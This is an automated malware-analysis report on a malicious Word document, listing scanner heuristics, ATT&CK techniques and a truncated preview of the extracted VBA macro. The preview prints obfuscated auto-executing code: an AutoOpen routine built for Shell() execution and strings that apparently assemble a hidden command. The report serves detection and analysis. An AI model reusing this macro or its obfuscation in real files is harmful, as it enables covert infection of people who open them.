MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, a critical heuristic indicating an attempt to execute arbitrary commands. The obfuscated nature of the script prevents a precise determination of the payload, but the presence of Shell() strongly suggests it's designed to download and execute a secondary malicious component.
Heuristics 6
-
ClamAV: Doc.Malware.00536d-6698605-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.00536d-6698605-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 73848 bytes |
SHA-256: d690ca5ad2b7d35bf2f3059580f477897e9ffbffce1a9f41273f33d7d268134f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "SBnquSXU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim nKkwI(2)
nKkwI(0) = MidB(MzUrObE + pwGlcawGjsscRztHvw + DwwjsL, 315, 281) + Right(TYRXa + jlrZsjkfkQiwQNfoiQhn + ohIsSk, 448)
nKkwI(1) = Right(LKRqKN + IbzjGGskUlSXCEEBcn + tmdFCOrs, 516) + Right(ZLqoh + ziPldJMQlGMmPGudpDis + CLdmK, 302) + Left(aoikHI + qwFmOdwijuEzwVpbkfZFVk + bHrzl, 931) + Mid(jnpwYO + bURQbtwjjwPjBRRVask + DloCz, 586, 53)
Dim kNFtrV(2)
kNFtrV(0) = Mid(huQUwT + XiFVrLmQTahFcPavsY + aWVLHTzd, 695, 353) + Mid(BXGwPCTd + iAGpoEYXhrmizESQpq + kDEJcfqF, 57, 389)
kNFtrV(1) = MidB(VERfuFMF + PsHdGwANESAWmjvWcoRzLAE + VkiKMko, 235, 49) + Mid(sEpmaV + fvzJUiKzsvcCrwaInl + swSiXw, 603, 481) + MidB(VHrWbJb + qTGWWjwpAMhzhYBEmMS + zjEXV, 408, 323) + MidB(LGDmawz + pYcwYTPPHXPAAYpcS + jfvlaU, 392, 723)
Dim XiASjk(1)
XiASjk(0) = Left(vSFAdw + nfHtUqLKNqwCiZftOi + hMLzSDH, 497) + Left(zJzvd + npHTtfwPaawCEuZhIM + CnBcq, 781) + Mid(wPjbtcQ + nACchbmfFEVvHAFjrCiIM + jVzacim, 3, 408) + MidB(fUMPzK + NAHfMMWkiFspkErQdaivm + BkUcDXZO, 603, 546)
Dim iMuDj(2)
iMuDj(0) = MidB(pwrcLR + mTdNsRTHaMzsETYaWw + LpivA, 450, 3) + MidB(rnUuw + zRsmdhYqFmImOEPRXJM + HMGwAfwG, 86, 350) + Mid(FvbrI + ukraPZPijrAvfQOlY + jDVNh, 168, 187) + Right(PwHWLPl + bQUaMVrFPKdWmEnFBXQFp + ziikPiX, 878)
iMuDj(1) = MidB(mGrzWczt + sMMhHcjoKKiUkXZAfFdpB + wFfuRLLI, 688, 710) + MidB(cnwiZljI + bIBZtrPXKjJfatzSLAm + zMhXDDS, 868, 235)
Dim Psfti(2)
Psfti(0) = Mid(zAcsUBf + CibwZGzlmhIiYhEmGFSNNd + tErhfs, 836, 711) + Mid(lkJshHwB + cvJXwtMjUNVFsuFCPr + rKUdN, 445, 210) + Right(BPrwu + mofBJdQWnoNrzNZSNbQroYD + dvHwaU, 313) + Mid(luOud + izZMnpCcGIVzFbwNbfq + jmNDzD, 363, 963)
Psfti(1) = Right(Gbiojo + VULuiIpnwQfKDdBczJY + MjjCa, 740) + MidB(iiVSKo + vHQUhdVPaLiMsrAhzlFOA + wQVrsptj, 85, 33)
Dim WtsSMR(2)
WtsSMR(0) = MidB(HQTHXZ + jpaGoNWcRTLTsmzmfBjFufZ + dEJwDL, 655, 64) + MidB(pIXPmvz + OdVRbmUrkfaPabIVHHKjL + iIluK, 946, 433) + Right(lIniMj + TGJaiPRmcCmDLUIMF + iDlAVq, 775) + MidB(XnjQE + vsUjXVUVszbOEXOYFohtbWN + zXcGNnM, 377, 726)
WtsSMR(1) = Right(Njufd + LEAZKfssOwsBqszP + arDcwr, 223) + MidB(CPhJBOiZ + aVvwVLrLtBhOCMwzOjUW + iLDIn, 228, 366)
QwckjikIDUX (KeyString(Lcvdz + EFFJJWz + 9 + 13 + 45 + lBGVP + ozCmww) + CRKBwEX + zOXOaVZ + KeyString(QijzkpoG + zWjFKbH + 11 + 15 + 51 + wlwOc + BAGNbd) + JZJLooFXHQM + IsvwDX + NDjXLzQI + TqaUICNjAWE + CfiHl + TDYOv + iKTlzbl + nYlKGKGp)
Dim mqjFt(1)
mqjFt(0) = MidB(VkcopoO + nRUOZziGzFiijdOjmBFaLRF + CzjXmHX, 783, 403) + Mid(oLacwTAn + ZhwhkzhrzTztEhvaMot + sbbdd, 843, 323) + Mid(lcPmqBKp + hXrRWilENoKfDJVENQjBw + QaruPWr, 651, 919) + MidB(JEjuG + KazLqrpkjvsJufIu + STzISnAQ, 460, 365)
Dim VGUIzf(1)
VGUIzf(0) = MidB(NwRraEj + KzuTkjHRvubFzCjuahqjG + sStnj, 482, 323) + MidB(MjikWM + kjzHzLfpdHHoDjqpY + VKGkpz, 318, 579)
Dim qpwZQ(2)
qpwZQ(0) = MidB(ChIrvJru + bEjXRoVKBMZLOLutWPmkumq + aBPqwH, 793, 495) + Left(ZBaObujc + fAPbPWcplkbkzkVdDZlrE + wAKpKKU, 196)
qpwZQ(1) = MidB(lnbaiA + FzQbdnNzSTuklZci + aGaIKCz, 887, 64) + Left(fawtMU + jwLCqwaDqACVirqTTlLT + uOjMqYFF, 144) + MidB(PEkLubt + WDEjUWBDlUJvihON + zOdNOmGH, 478, 186) + Right(sWrJAr + DBVdAvodMNHZpbVFP + ibDNWmEY, 639)
Dim woidE(1)
woidE(0) = Mid(CamHmuGI + BmLBHGADXNrYMjaEaRbY + XfLKN, 231, 605) + Left(WjzTo + dBLcKCZCNjDZsZOkMupqMir + kkNlIwna, 237)
End Sub
Attribute VB_Name = "OsvsANOrRd"
Function JZJLooFXHQM()
tzAZjJRlV = "d / \//// / /\ /V" + ":O/C" + """" + "set $};=a270 2" + "a07 a270 07" + "2a a720 20a7" + " 0a27 0a72 02"
zfLUJuzp = "a7 70a2 a207 a" + "270 7a02 02a7" + " 702a 027a a207 07"
RNCUJKqp = "2a}7a20}270a{a" + "720h7a20c207" + "at072aaa207c02a7" + "}a720;27a0k720" + "aa20a7e07a2r20a"
tnmJGksooEw = "7b072a;a702j7" + "0a2O270aaa270$a270" + " 2a70ma027e" + "a270t7a20I" + "20a7-072ae0a72ka072"
JZJLooFXHQM = tzAZjJRlV + zfLUJuzp + RNCUJKqp + tnmJGksooEw
Dim OJlDrF(
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.